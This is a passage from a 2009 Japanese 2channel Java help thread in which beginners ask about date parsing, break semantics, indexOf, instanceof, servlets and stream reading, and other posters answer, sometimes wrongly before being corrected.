残りの中央部はBufferStrategyを使用した描画をしたいのですが、
bufferStrategy.showを行うとメニューバーが消え、repaintを行うと
画面側消えてしまいます。
これを両方表示させてる事はできるのですか?
0598デフォルトの名無しさん
2009/05/01(金) 17:36:19IntegerやLongだったら、instanceofで判定できるのは解りましたが、
intやlongは、どうやったら判定できるんでしょう?
0599デフォルトの名無しさん
2009/05/01(金) 18:27:55long の変数に int のインスタンスを代入、みたいな事はできないから判定はできないし、する意味もない。
long の変数に int の値は代入できるけどその際 int の値は単項数値昇格によって long に変換される。
0600デフォルトの名無しさん
2009/05/01(金) 19:34:04あー、「へたのよこずき」か。
マジで判らなかった。
0601デフォルトの名無しさん
2009/05/01(金) 20:43:05それはできたんだけど、どうしてもアイコンが変わりません
次のコードのどこに問題があるか?わかる方いましたら教えてください
<information>
<title>TestApp</title>
<vendor>testVendor</vendor>
<homepage href="http://hogehoge/"/>
<description>テストアプリケーションです。</description>
<icon href="icon32.png"/>
<association extensions="testapp" mime-type="application/testapp">
<description>testappファイル</description>
<icon kind="shortcut" href="icon32.png" width="32" height="32"/>
<icon kind="shortcut" href="icon16.png" width="16" height="16"/>
</association>
</information>
ちなみに、アプリケーションそのもののアイコンはキチンと設定されていますので
pngファイルは正常です。
0602デフォルトの名無しさん
2009/05/01(金) 22:39:38pngじゃ駄目だということでは?
0603デフォルトの名無しさん
2009/05/01(金) 23:08:24以下の書式の文字列からDateオブジェクトを生成したいのですがうまく行きません。
Fri May 01 22:18:17 JST 2009 ※DateオブジェクトをtoString()した書式
書いてみたのは以下の2つです(どっちもエラーです)
DateFormat df = DateFormat.getDateTimeInstance();
Date dt = df.parse("Fri May 01 22:18:17 JST 2009"); //=>ParseException
対応してない書式かと思い、書式指定してみた
DateFormat df = new SimpleDateFormat("EEE MMM dd HH:mm:ss z yyyy");
Date dt = df.parse("Fri May 01 22:18:17 JST 2009"); //=>ParseException
パターンを変えながら調べていくと、EEEとMMMがそれぞれFri/Mayにマッチしない様子です。
Javadocには同種の書式でFriやMayにマッチさせる例も載っているのですが、これ以上なんとも・・・
parseするための指定をおしえてください。※MMが05にマッチするのは確認しました(=月)
0604デフォルトの名無しさん
2009/05/01(金) 23:13:19DateFormatのインスタンス作成のときに Locale.ENGLISH
0606デフォルトの名無しさん
2009/05/01(金) 23:38:160607デフォルトの名無しさん
2009/05/01(金) 23:46:5516x16 の方は特定環境に依存しないように GIF か JPEG にした方が良いみたいなガイドが
あった希ガス (うろ覚え)。昔した試行錯誤で JNLP ファイルのアイコン指定は 16x16 に
GIF (kind 無指定), 32x32 に PNG (kind="default"), 64x64 に GIF (kind="splash") がよさげ。
0608デフォルトの名無しさん
2009/05/02(土) 00:00:28レスありがとうございます。
たとえば、メソッドで
public methodA(Object obj, int value){}
public methodA(Object obj, long value){}
なんてのがあった場合は、
同じメソッド名で同じ引数の数で、違いは引数にint, long
なんて構造はそもそも取るべきでは無いってことでしょうか。。。
0609デフォルトの名無しさん
2009/05/02(土) 00:01:390610デフォルトの名無しさん
2009/05/02(土) 00:08:37それはメソッドが呼ばれた時点で long か int が自明だから instanceof なんて使う必要はない。
それらのメソッドから呼ぶ共通のメソッドということなら Long と Integer でも使え。
0611デフォルトの名無しさん
2009/05/02(土) 03:22:25また、代わりになるソフトというのはどういうものなのでしょうか?
WindowsでS!アプリを作りたいのですが・・・
0612デフォルトの名無しさん
2009/05/02(土) 03:27:53http://java.sun.com/j2se/1.3/download.html
0613601
2009/05/02(土) 04:16:03>>607
アドバイスありがとうございました。
なんとPCを再起動したらちゃんとアイコンが表示されていました・・
601のコードで問題ないみたいです。お騒がせしました。
しかしなんなんだこのトラップは・・??
0614デフォルトの名無しさん
2009/05/02(土) 04:25:161.1とか1.2とか。
古いシステムのまま運用してるところもあるだろうし、逆にダウンロードできないと問題だし
無料の約束で配布してたのに10年でサポート打ち切りとかでいきなり有料とかも詐欺っぽくて問題だけどね。
0615デフォルトの名無しさん
2009/05/02(土) 04:48:10http://java.sun.com/products/archive/
0616デフォルトの名無しさん
2009/05/02(土) 06:57:130617デフォルトの名無しさん
2009/05/02(土) 08:21:440618デフォルトの名無しさん
2009/05/02(土) 08:25:190619デフォルトの名無しさん
2009/05/02(土) 09:49:260620デフォルトの名無しさん
2009/05/02(土) 11:00:15出したいんだけど、何か良い方法ないかな?
0621デフォルトの名無しさん
2009/05/02(土) 11:23:20PrintStreamを作ってSystem.setErrを呼べばいいけど、ファイル
ディスクリプタ2への出力を捕まえるのはまた違う話になるのかな。
0622デフォルトの名無しさん
2009/05/02(土) 13:11:01System.out.println("4");
if (switchTag) {
System.out.println("3");
if ( source.charAt(pos) != '>' ) {
System.out.println("2");
for ( pos++; pos < source.length(); pos++ ) { //ココ3
System.out.println("1");
if ( source.charAt(pos) == '>' ) { //ココ2
System.out.println("break");
break; //ココ1
}
System.out.println("6");
}
System.out.println("7");
}
System.out.println("8");
}
ココ1のbreakでどこまで制御が戻るのかがよくわかりません
書籍では一番内側の制御文まで戻るとか書いてあるのですけど、
if文も制御文としたら、ココ2に戻ることになるのですけど、
実際の動作では、break 7 8 4 が表示されるので、
breaココ1が起きるとココ2には制御が来ずにココ3のforも抜けて、
ココ4に制御が戻っているみたいです。
直近のforのさらに上のforまで戻るのでしょうか。
0623デフォルトの名無しさん
2009/05/02(土) 13:34:26breakは任意の制御文を抜けるんじゃなくて、最も内側のswitch/while/do/for文を抜ける。
ココ1では、ココ3のforを抜けることになるので、breakの次に7と出るのは正常。
0624デフォルトの名無しさん
2009/05/02(土) 13:37:01http://java.sun.com/docs/books/jls/third_edition/html/statements.html#14.15
>transfer control to the innermost enclosing switch, while, do, or for statement
0625デフォルトの名無しさん
2009/05/02(土) 14:12:54表示するプログラムがあったとして indexOf() を使いたいんだけど
第2引数に「"」を与えると無限ループに陥ってしまいます。
原因分かる方いますか?
Stringクラス内で"の扱いがどうなってるのかいまいち分からない・・・。
for(int i = 0, pos=0; (pos = indexOf(args[0], args[1])) != -1; i++, pos++ )
System.out.println((pos+1) + "文字目、");
これで「java test.class abcde "」 や 「java test.class abcde ""」を実行すると結果が
「1文字目、2文字目、3文字目、4文字目、5文字目、6文字目、6文字目、6文字目、6文字目、・・・」
という風になってしまう。
0626デフォルトの名無しさん
2009/05/02(土) 14:16:050627デフォルトの名無しさん
2009/05/02(土) 14:21:05確か日本語訳なかったか?
0628デフォルトの名無しさん
2009/05/02(土) 14:54:21みたところ、そのindexOfはString#indexOfではなくて自分で
実装したもののように見えるが。
0629デフォルトの名無しさん
2009/05/02(土) 15:47:18甘いw
staticだけで全てを片付けているコードも見たことある。バッチ処理とか。
>>620
子プロセスとして自分を動かして、標準エラー出力を横取りすれば確実じゃないかな。
面倒だから621の言うようにsetErr()試してから。
0630デフォルトの名無しさん
2009/05/02(土) 16:00:23ttp://java.sun.com/j2se/1.5.0/ja/docs/ja/guide/language/static-import.html
0631デフォルトの名無しさん
2009/05/02(土) 16:20:29その可能性は無いんじゃないか?
索引見ても、そのシグネチャを持つメソッドって無いみたいだし。(見落としていなければ)
0632625
2009/05/02(土) 16:25:40書き写す時に間違えました。
自分で実装したものじゃなくString#indexOfです。
for(int i = 0, pos=0; (pos = args[0].indexOf(args[1], pos)) != -1; i++, pos++ )
System.out.println((pos+1) + "文字目、");
でした。
検索する文字が「"」でも「""」でも無限ループになってしまいます。。
0633デフォルトの名無しさん
2009/05/02(土) 16:28:42import staticでインポートできるのはstaticなメンバーだけ。
String#indexOfはあってもString.indexOfはない。
0634デフォルトの名無しさん
2009/05/02(土) 16:43:50少なくとも、Arthur van Hoffの書いたjava.lang.Stringにはある。
java.langパッケージ内でしか見えないけど。
まぁ、今回はそれとは関係なくて、
"abcde".indexOf("") == 0
だから「常に見付けられるから返ってこれない」ということだな。
>indexOf
>この文字列内で、指定された部分文字列が最初に出現する位置の
>インデックスを返します。返される整数は、
>this.startsWith(str, k)
>上の式が true となるような最小の k です。
>startsWith
>(略)引数が空の文字列の場合(略) true が返される
0635ちんこ ◆GbXlaaQNk.
2009/05/02(土) 17:36:02>>> "python".index("o")
4
こうなります^^
Pythonの方がずっと良いお^^
0636デフォルトの名無しさん
2009/05/02(土) 17:42:26int ans = a++ + ++a + --a;
++aで4になって、--aで3になって3+4+3=10
式の後にa++がプラスされるので、ansの値は11ですよね?
問題集では12が正解になっているんですが・・
0637デフォルトの名無しさん
2009/05/02(土) 17:42:45???
0638デフォルトの名無しさん
2009/05/02(土) 18:00:07なるほど!ありがとうございます。
毎回true(=検索開始位置)が返ってきて
抜けられなくなるってことなんですね。
回避方法がないか模索してましたが仕様ってことで納得しました。
ありがとう!
0639デフォルトの名無しさん
2009/05/02(土) 18:00:16最初の a++ 忘れてないか?
0640デフォルトの名無しさん
2009/05/02(土) 18:05:48Javaでは、演算子のオペランドは演算単位で実行前に完全に評価される。
(&&, ||, ?:は例外) また、+は左結合(2つあったら左を先に評価)。
つまり、a++(1) +(2) ++(3)a +(4) --(5)a と番号を付けると
(1)→(3)→(2)→(5)→(4)の順に実行されるので、
int a = 3;
int x = a++; // (1) xに3を代入後a(3)が1増えて4
int y = ++a; // (3) a(4)を1増やした5をyに代入
int z = x + y; // (2) 3 + 5 で 8
int w = --a; // (5) a(5)を1減じた4をwに代入
int v = z + w; // (4) 8 + 4 で 12
0641デフォルトの名無しさん
2009/05/02(土) 18:15:05教えてくださってありがとうございました。
0642デフォルトの名無しさん
2009/05/02(土) 18:27:53違うテキストファイルに出力するプログラムを組んでいます。
入力はBufferedReader、出力はPrintWriterを使います。
読み取むクラス、書き込むクラス、実行クラスを分けて作らないとダメらしくて
なんとか全部コンパイル通しました。
しかし読み取ったデータをコマンドライン上に表示することは出来たんですが
PrintWriter.println()でのファイルへの書き込みが出来ません。
実行させても空のテキストファイルが出来上がるだけになっています。
何か考えられる原因はありますか?
上記だけでは判断できなければすみません・・・。
0643デフォルトの名無しさん
2009/05/02(土) 18:33:33書き終えたあと、closeしてる?
0644デフォルトの名無しさん
2009/05/02(土) 18:38:24PrintWriter.close();で閉じれてると思います。読み込み側も同様。
0645ちんこ ◆GbXlaaQNk.
2009/05/02(土) 19:05:30Javaとか、冗長すぎて死ぬw
0646デフォルトの名無しさん
2009/05/02(土) 19:11:260647デフォルトの名無しさん
2009/05/02(土) 19:24:32ありがとうございました。
0648ちんこ ◆GbXlaaQNk.
2009/05/02(土) 20:00:47そんな冗長な言語を使って、
あなた方はマゾなのですか?
0649デフォルトの名無しさん
2009/05/02(土) 20:36:03スレ違い
普及活動ならブログでどうぞ
0650デフォルトの名無しさん
2009/05/02(土) 20:54:29馬鹿に正論述べても無駄だと思うぞ、経験上。
0651デフォルトの名無しさん
2009/05/02(土) 21:56:08同クラスの他メソッドで参照する方法ってありますか?
0652デフォルトの名無しさん
2009/05/02(土) 22:02:07オブジェクトの格納先をメンバ変数にする。
勿論、メソッド実行前、例外有り無しなど分岐ごとの値は仕様で決めておくこと。
0653ちんこ ◆GbXlaaQNk.
2009/05/02(土) 22:03:25意味不明な仕様です。
0654デフォルトの名無しさん
2009/05/02(土) 22:36:510655デフォルトの名無しさん
2009/05/02(土) 22:55:040656デフォルトの名無しさん
2009/05/02(土) 23:55:23staticにしたらインスタンスでなくなるし、じゃコンストラクタって何のためにあるんだよ・・・
0657デフォルトの名無しさん
2009/05/03(日) 00:10:07なんか間違ってないか?
class Clazz{
private int instanceVar;
public Clazz(){
instanceVar=10;
}
}
コンストラクタでいじれてるだろ
0658デフォルトの名無しさん
2009/05/03(日) 00:59:04安価ミス?
それだと、staticじゃないからメンバ使えないんじゃない?
俺がしたいのはオブジェクト配列を作ってそれぞれのオブジェクトに別々の値をコンストラクターを使って代入すること
それがstaticにしたら、最後に使ったコンストラクターで決めた値に全部なっちゃうし、staticにしなかったら、コンストラクターでそもそもいじれないという・・・
0659デフォルトの名無しさん
2009/05/03(日) 01:06:57良くわかんないけど、引数付きのコンストラクタ定義してそれ使っちゃダメなの?
0660デフォルトの名無しさん
2009/05/03(日) 05:05:39ルビーはイテレーターとmixinが発達してるから、Cの素直な拡張として構造化プログラムを書きやすいけどね。
パイソンは複素数型でjを使うのとタブインデントで極端に美的を求めるのは宗教と同じだし下らないから使うことはない。
そんな下らないことよりも効率と生産性の方が優先するし、パスカルよりもCや言語仕様がころころ変わるMS-VBが普及した事実より明らかじゃないか。
ところで、>>650はどういうこと?
0661デフォルトの名無しさん
2009/05/03(日) 05:22:370662デフォルトの名無しさん
2009/05/03(日) 08:56:12引数でオブジェクト配列を渡してやるか
ファクトリメソッド・パターン使うとか
0663デフォルトの名無しさん
2009/05/03(日) 10:08:04作ろうと思っていますが、うまくいきません。
具体的にやりたい事は
1.サブウィンドウはタスクトレイに表示されない。
2.サブウィンドウ表示中はメインウィンドウ(親ウィンドウ)は移動、最小化、フォーカス等の
全ての機能を無効とする。
3.メインウィンドウをクリックすると、サブウィンドウも前面に出てサブウィンドウにフォーカスがあたる。
です。VBで作ったサブウィンドウの動作を真似ようとしているのですが、Javaでは可能でしょうか?
0664デフォルトの名無しさん
2009/05/03(日) 10:19:550665デフォルトの名無しさん
2009/05/03(日) 11:19:070666デフォルトの名無しさん
2009/05/03(日) 11:20:30単なるダイアログじゃん。
0667デフォルトの名無しさん
2009/05/03(日) 11:24:51始めちゃいけない場合の 2 ケースない?
0668デフォルトの名無しさん
2009/05/03(日) 12:44:02ダイアログで解決しました。
JDialogの引数は気づきませんでした。
ありがとうございます。
0669デフォルトの名無しさん
2009/05/03(日) 12:50:52まさにその FD2 の話で、JNI の C 側からリンクしているのライブラリがエラーの拍子に出す
情報を Java で取り込みたいんですよね。GUI 起動だとコンソールが出ないから。
と思ったけどこれ C の話ですね。そっちで質問します。
0670デフォルトの名無しさん
2009/05/03(日) 13:48:48ListIteratorでLinkedListの走査中に、
LinkedList本体に対してremoveすると
ConcurrentModificationException例外が発生しますが、
本体へのaddでも同様に例外が発生するものなのでしょうか?
"Linked"Listなので走査中に追加があっても
処理継続できそうなものなのですが。。。
0671デフォルトの名無しさん
2009/05/03(日) 14:02:40int[] a = {1,5,7,2,4,7};
int x = a[0];
for (int i = 1; i < a.length; i++){
if (x 【ココ】 a[i]) {
x = a[i];
}
}
System.out.println(x);
(選択肢)
A: ==
B: !=
C: <
D: <=
正解はCとDですけど、Bの!=も正解ではないのですか?
1 != 1 false, 1 != 5 trueでxに5を代入…4 != 7 trueで最終的にxに7が代入されるような気がしますが。
0672デフォルトの名無しさん
2009/05/03(日) 14:47:45【ココ】変えて実行してみれば速攻で終わる問題だねw
0673デフォルトの名無しさん
2009/05/03(日) 15:08:300674デフォルトの名無しさん
2009/05/03(日) 15:14:23出た結果が全てだ
0675デフォルトの名無しさん
2009/05/03(日) 16:00:12jdbcで、一意制約違反の例外処理をつくっているのですが、
現在SQLExceptionで拾い、課題で指定されている例外クラスにthrowしています。
これで一意制約違反はうまく処理できているのですが、
SQLExceptionで一意制約違反だけでなく、SQLの構文自体にミスがある場合なども拾ってしまうため
一意制約違反でない場合も一意制約違反用の自作例外にthrowしてしまいます。
これを、一意制約違反の場合のみthrowするようにしたいのですが、
どうすればできるのでしょうか?
0676デフォルトの名無しさん
2009/05/03(日) 16:35:040677デフォルトの名無しさん
2009/05/03(日) 16:36:56class Sample2
{
public static void main(String args[])throws IOException
{
System.out.println("テストの点数を入力してください。(0で終了)");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));
int num=0;
int sum=0;
do{
String str = br.readLine();
int num = Integer.parseInt(str);
int sum+=num;
}while(num == 0);
System.out.println("テストの合計点は"+ sum +"点です。");
}
}
numとsumはmain(java.long.String[])で定義されています
とか出てコンパイル通らない。。。
どうすりゃいいの?
0678デフォルトの名無しさん
2009/05/03(日) 16:41:12doブロックの中でまた定義してるからだ
二重定義はだめよ☆
0679デフォルトの名無しさん
2009/05/03(日) 16:46:18import java.io.*;
class Sample2
{
public static void main(String args[])throws IOException
{
System.out.println("テストの点数を入力してください。(0で終了)");
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));
int num=0;
int sum=0;
do{
String str = br.readLine();
num = Integer.parseInt(str);
sum+=num;
}while(num == 0);
System.out.println("テストの合計点は"+ sum +"点です。");
}
}
0680デフォルトの名無しさん
2009/05/03(日) 16:46:55SQLException から SQLState だかエラーコードだかを取得してすり替えれば良いのか
そのまま throw すれば良いかを決める。どのコードを一意制約違反にすれば良いかは
RDBMS のリファレンスを嫁。
0681デフォルトの名無しさん
2009/05/03(日) 16:50:06再度「宣言」していることになる。
メソッド(やコンストラクタなど)の中で同名のローカル変数を再宣言する
ことはできない。
java.sun.com/docs/books/jls/third_edition/html/statements.html#14.4.2
なお、仮に再宣言が出来たとすると、外側のnumやsumとは同名だが
別の変数になってしまうので、意図した計算結果にはならない。
0682ちんこ ◆GbXlaaQNk.
2009/05/03(日) 19:28:24また、動的言語はPythonでもRubyでも、
とにかくデータ構造の表現力が豊か。
コードが視覚化されたような印象を受けることがある。
つまり、文字としてではなく、図としてみれるということだ。
あと、おれはPythonのin演算子を気に入っている。
item in sequence
な。
これは非常に美しい。
0683デフォルトの名無しさん
2009/05/03(日) 19:33:380684デフォルトの名無しさん
2009/05/03(日) 19:44:410685デフォルトの名無しさん
2009/05/03(日) 19:55:58Pythonが大好きなんだよね?
Java板にくると疲れるだろうから、無理して来なくてもいいよ☆
0686ちんこ ◆GbXlaaQNk.
2009/05/03(日) 20:04:53Javaの方がIDEとか揃ってるしね。
Pythonは小さなプログラム書く時はきれいに書けるけど、
リファクタリングとかが難しくなる。
0687デフォルトの名無しさん
2009/05/03(日) 20:19:530688ちんこ ◆GbXlaaQNk.
2009/05/03(日) 20:27:07JythonとかのJava実装スクリプト言語は、どう思う?
0689デフォルトの名無しさん
2009/05/03(日) 20:31:03inはfor (String item : sequence.split("/"));と書けるからjavaでも同じようなのはある。
他にはjavax.scriptがあるから実際はjvm上に各動的スクリプトがあって、javaもrubyもjvm上の1言語でしかない。
javaももともとはインタプリタだったし、この勢いでオラクルjvm上でC++とかC#とかも走ればいいかなと思うけど。
スクリプトはクッキング目的ならjsが一番単純でいいと思うけどね。
>つまり、文字としてではなく、図としてみれるということだ。
いまいち分からないんだけど、どういうこと?
0690デフォルトの名無しさん
2009/05/03(日) 20:35:54JITコンパイラとかはあるが、基本はバイトコードでの配布ではないのか?
0691デフォルトの名無しさん
2009/05/03(日) 20:40:150692デフォルトの名無しさん
2009/05/03(日) 20:49:54>Javaはもともとインタプリタだったし
っていうのは、実行時に機械語へコンパイルするものが出てきた
って言う意味なんだね?
0693デフォルトの名無しさん
2009/05/03(日) 20:51:21ただ、実装完了したからこれからはjvmプラットで動くスクリプトが増えてくるくるくるくるくるんじゃないか?
クロージャがあればjavaだけで十分だったんだけどね。
0694デフォルトの名無しさん
2009/05/03(日) 21:42:37大体スクリプトの必要性なんてユーザドメインで手軽に処理を追加する用途が大半だろ。
それなのにスクリプト実行をサンドボックス化できない時点で単なる JCP のお遊び。
0695デフォルトの名無しさん
2009/05/03(日) 22:36:32『コンパイルエラー』とでて、『正規表現の中に')'を指定してください。」
ってのが何回も出てくる。
どうやったら直る?
0696デフォルトの名無しさん
2009/05/03(日) 23:02:06value[0] = ‘金’;
value[1] = ‘魚’;
System.out.println(value.length); //ココ1
ココ1で、value.lengthのlengthというものは、
いったいどこから出てきたのでしょうか。
メッソドではないのですよね?
0697デフォルトの名無しさん
2009/05/03(日) 23:16:29日本語で。
>696
言語仕様です。配列の要素数を示すインスタンス変数のようなものです。
参考書の配列について再勉強です。
0698デフォルトの名無しさん
2009/05/03(日) 23:17:13そんなことできたっけ?w
0699デフォルトの名無しさん
2009/05/03(日) 23:18:14よって、そのlengthはchar[]をキャストしたstringクラスのメソッドなのでござるよ
0700デフォルトの名無しさん
2009/05/03(日) 23:21:59lengthはstringクラスのメソッドではなくarray(配列)クラスのメソッドでござったな。
つまり、配列には配列でそういう操作が出来るメソッドが備わってるのでござるよ。
0701デフォルトの名無しさん
2009/05/03(日) 23:27:03そうそう、間違えてコンパイルエラーになりやすいから気をつけて。
Stringに定義されてるのはインスタンスメソッドのlength。
配列のはインスタンス変数のlength。
0702デフォルトの名無しさん
2009/05/03(日) 23:29:10配列がコレクションとは別で一級市民扱いなのは
OO的に美しくないところだな。
# 美しくないと駄目というわけではないが。
0703デフォルトの名無しさん
2009/05/03(日) 23:36:53メソッドならlength()となるはずでござるが?
0705デフォルトの名無しさん
2009/05/04(月) 01:42:08そういう言語もあるんだけど、このぐらいが落としどころかとも思う。
オーバーヘッドも気にかかるし。
0706デフォルトの名無しさん
2009/05/04(月) 01:44:22OO言語で一番何が美しいと思う?
0707デフォルトの名無しさん
2009/05/04(月) 04:24:310708デフォルトの名無しさん
2009/05/04(月) 04:45:41The requested resource (/servlet/inout) is not available.というエラーになります。
次レスにソース貼りますのでよろしくお願いします。
0709708
2009/05/04(月) 04:47:20<!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>ユーザーからの入力を受け付ける</title>
</head>
<body>
<h1 align="center">ユーザーからの入力を受け付けるプログラムです</h1>
<form action ="inout" method ="GET">
<p align="center">データを入力してください。
<input type="text" align="center"name="mozi" size="20" ><br>
<input type="submit" align="center" value = "送信" >
</form>
</body>
</html>
0710708
2009/05/04(月) 04:51:06package kenservlet; import java.io.*; import javax.servlet.*; import javax.servlet.http.*;
public class InOut extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=Shift_JIS");
PrintWriter out=response.getWriter();
String str="入力してください";
String mozi=request.getParameter("mozi");
if(mozi != null && mozi != ""){
str="doGetメソッドが動きました。"+mozi+"を入力しましたね";
}
out.println("<html>");
out.println("<head>");
out.println("<title>Servlete Inout</title>");
out.println("</head>");
out.println("<body>");
out.println("<h1>"+str+"</h1>");
out.println("/body");
out.println("</html>");
}
}
0711708
2009/05/04(月) 04:52:07<?xml verseion="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://WWW.3W.org/2001/XMLSchema-instsnce"
xsi:schemaLocation="http://java.sun.com/xml/nsj2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">
<servlet>
<servlet-name>inout</servlet-name>
<servlet-class>kenservlet.InOut</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>inout</servlet-name>
<url-pattern>/inout</url-pattern>
</servlet-mapping>
</web-app>
0712デフォルトの名無しさん
2009/05/04(月) 05:51:16サーブレットとか運用で考えるとそうかもしれないけど、別にサーブレットはjavaの言語のライブラリの一部の機能の一部に過ぎないよ?
別にジャバとビジネスロジックが仲がいいことは否定しないけど、なんか過信してない?
サンドボックス内でバイトコードにコンパイルされた各種ライブラリに頼り例外でキャッチすることと、スクリプトを使うことはまったく同値だよ?w
多分何のことをいってるのか分からないんだろうけどね。
0713708
2009/05/04(月) 06:45:13解決できました。
お目汚しのほど、ご容赦くださいませ。
0714デフォルトの名無しさん
2009/05/04(月) 11:33:35個人的には同意できない。
原則として全部オブジェクト扱いにして、コンパイラが型推論や
フロー解析等をしてプリミティブな型に変換して欲しいところ。
まぁ、言語仕様が成立した時代を考えると無理な要求なんだろうけど。
0715デフォルトの名無しさん
2009/05/04(月) 11:59:17( ´∀`)< ぬるぽ
0716デフォルトの名無しさん
2009/05/04(月) 12:02:050717デフォルトの名無しさん
2009/05/04(月) 12:11:23おまえは全部 auto boxing でやってろ。
0718デフォルトの名無しさん
2009/05/04(月) 13:04:03(おれは>>714じゃないからね)
0719デフォルトの名無しさん
2009/05/04(月) 13:21:14なければ、誰か作ってくれないかなー。
おっぱいうpするんで。
0720デフォルトの名無しさん
2009/05/04(月) 13:22:19ぬるぽ
0721デフォルトの名無しさん
2009/05/04(月) 13:22:58先にうぷ
0722デフォルトの名無しさん
2009/05/04(月) 13:30:26upしてくれればヤル気が起きるんだが
0723デフォルトの名無しさん
2009/05/04(月) 14:16:422chトリップを生成って Unix/Linux の crypt 呼んでるだけじゃん
http://www.cryptix.org/
0724デフォルトの名無しさん
2009/05/04(月) 14:17:46Object content = url.getContent();
if ( content instanceof InputStream ) { //ココ
System.out.println(3);
contentはObjectクラス型のオブジェクトなんでしょうけど、
ココで、contentはInputStreamクラスのインスタンスですかと聞いて、
はいそうですに、なるのですけど、調べたら、全てのクラスはスーパークラスに
Objectを持つらしいので、InputStreamクラスもObjectを暗黙に継承してる
としたら、はいそうですと言うのも納得します。でも、ココで、
InputStreamを他のクラス何にでも変えても、はいそうですになると
思うのですけど、Stringや他のクラスに変えてみると、はいそうですに
ならないのですけど、どうしてでしょうか。
0725デフォルトの名無しさん
2009/05/04(月) 14:38:26A instanceof B
AがクラスBのインスタンスを含むか否かをboolean型で返す。
Aがnullの場合はfalse
0726デフォルトの名無しさん
2009/05/04(月) 14:41:53型比較演算子 instanceof
ttp://www.y-adagio.com/public/standards/tr_javalang2/expressions.doc.html#80289
0727デフォルトの名無しさん
2009/05/04(月) 14:42:27どうしてInputStreamのインスタンスは含むのに、Stringや手作りクラスの
インスタンスは含まないのでしょうか。
0728デフォルトの名無しさん
2009/05/04(月) 14:54:54contentの変数型はObjectだが、その実体は不明。
URLのAPIdocにはURLConnectionを読め、とある。
そこには、何が返されるかは実行時で無いと分からないから
incetanceof で調べてから使ってね、とある。
今回の場合はInputStreamでキャストできる何かが実体だったのでしょう。
もちろん、InputSteramのAPIdocを見て判るとおり、Stringなどは含まないし、
StringのAPIdocをみてもInputStreamは含んでいない。
よってfalseが返ることに問題はない。
0729デフォルトの名無しさん
2009/05/04(月) 14:59:40instanceof演算子は、そのクラスのインスタンスかを返すもの。
スーパークラス、しかもObjectクラスまでみてたら、instanceof演算子は
常にtrueになっちゃって、存在価値なし。
もっと、単純に考えてOK。
instanceof HogeClass
だったら、new HogeClass()で生成したオブジェクト(インスタンス)か
どうかを見てると考えればいい。
0730デフォルトの名無しさん
2009/05/04(月) 15:24:49arraylist.add(new Integer(10));
arraylist.add(new String("aaa");
みたいに整数や文字列は渡せると思うのですが
arraylist.addで即興のint配列を渡すことはできないのでしょうか?
あと、Integerとintの違いというのがよく分からないのですがどういう違いなのでしょう・・・?
0731デフォルトの名無しさん
2009/05/04(月) 15:29:33ArrayListクラスは、あくまでオブジェクトを配列のように扱うための
クラスだから、int型変数使えない。
addメソッドは、
add(int index, Object element)→indexの位置にelementを追加
add(Object element)→最後尾にelementを追加
の2つしかない。
いずれにせよ、オブジェクトで渡すしかない。
Integerとintの違いは、クラスか普通のint型変数かの違い。
0732デフォルトの名無しさん
2009/05/04(月) 15:42:27ありがとうございます
APIを見つつObjectについて勉強したいと思います
0733デフォルトの名無しさん
2009/05/04(月) 15:44:38Objectってのは、実質、オブジェクトなら何でもいいって意味だからね。
全てのクラスはObjectクラスのサブクラスになっている、
だから、代表してObject型で書いてるだけです。
それだけは注意。
知ってるかもだけど.
0734デフォルトの名無しさん
2009/05/04(月) 16:53:25InputStream b1 = new ByteArrayInputStream("first".getBytes());
InputStream b2 = new ByteArrayInputStream("second".getBytes());
InputStream s = new sequenceInputStream(b1,b2);
byte[] b = new byte[64];
s.read(b,0,b.length);
String str = new String(b);
とすると、strには"firstsecond"じゃなくて"first"の後に"\0"が続いて入るんだが、これはバグ?
0735デフォルトの名無しさん
2009/05/04(月) 17:01:56InputStream s = new sequenceInputStream(b1,b2);
でストリームが別々に読まれて、b1とb2を内部で区別するために
ヌル文字"\0"が入る実装になってんじゃない?
バグではないと思う
0736デフォルトの名無しさん
2009/05/04(月) 17:17:10>今回の場合はInputStreamでキャストできる何かが実体だったのでしょう。
ということですけど、そもそもcontentは、
URL url = new URL(args[0]);
Object content = url.getContent();
if ( content instanceof InputStream ) {
String line;
getContent();の戻り値がObjectになっています。
今はObjectだけど、実際は他の型かもしれないというのもわかります。
しかし、どうして、いきなりInputStreamのオブジェクトになって
しまっているのでしょうか。プログラムを作成する人は分からなくて、
JAVAのコンパイラが独断でInputStreamですよと決めるのでしょうか。
このプログラムでは正しい引数が与えられるときにはInputStream型であると
自信を持っていると思うのですけど、私はしっくりこないです。
なぜにInputStreamなのでしょうか。
0737デフォルトの名無しさん
2009/05/04(月) 17:25:26openjdkのソースみたら原因が判りました。
read(b,0,b.length);はストリームにまたがっては読んでくれなあみたい。
2回に分けて読んだら出来た。
0738デフォルトの名無しさん
2009/05/04(月) 17:25:56'¥0' が入っているように見えるのは単に byte 配列の初期値なだけ。
in.read() は呼び出し一発でストリームの最後までやバッファがいっぱいになるまで読むわけではない。
read() の返値には実際に読み込めた長さが返るからちゃんと EOF まで読み込め。
>>735
んなわけねぇだろ。おまいの問題分析能力にカップクするよ。
0739デフォルトの名無しさん
2009/05/04(月) 17:36:54言語仕様ゴチャゴチャやってるくせにこういうの直す気はねぇのな。
0740デフォルトの名無しさん
2009/05/04(月) 17:39:07どうして、と言われてもですね。
Javaではコンパイル時に型を決められず、実行時に型を決める必要がある場合、
そのライブラリを使用する側は、キャストを用いて型を固定するのです。
その際、incetanceofで先に型チェックをして、キャスト例外が出ないようにするのです。
もちろんライブラリの作成者は、どんな型をチェックすれば良いのか、
を示すべきなのですが、URLConnectionの表記ではちょっと判りにくいですね。
癖のあるメソッドのようです。へたれですいません。
0741デフォルトの名無しさん
2009/05/04(月) 17:45:49URLConnection は前世紀に HotJava という Java 製ブラウザを作るためにでっち上げられたっぽい機能が
散在している。普通は getContentType() の内容に基づいて自分で InputStream を読み込む。
0742デフォルトの名無しさん
2009/05/04(月) 17:49:50なにこれこわい
0743デフォルトの名無しさん
2009/05/04(月) 17:57:33ふぬぁーーーw
0744デフォルトの名無しさん
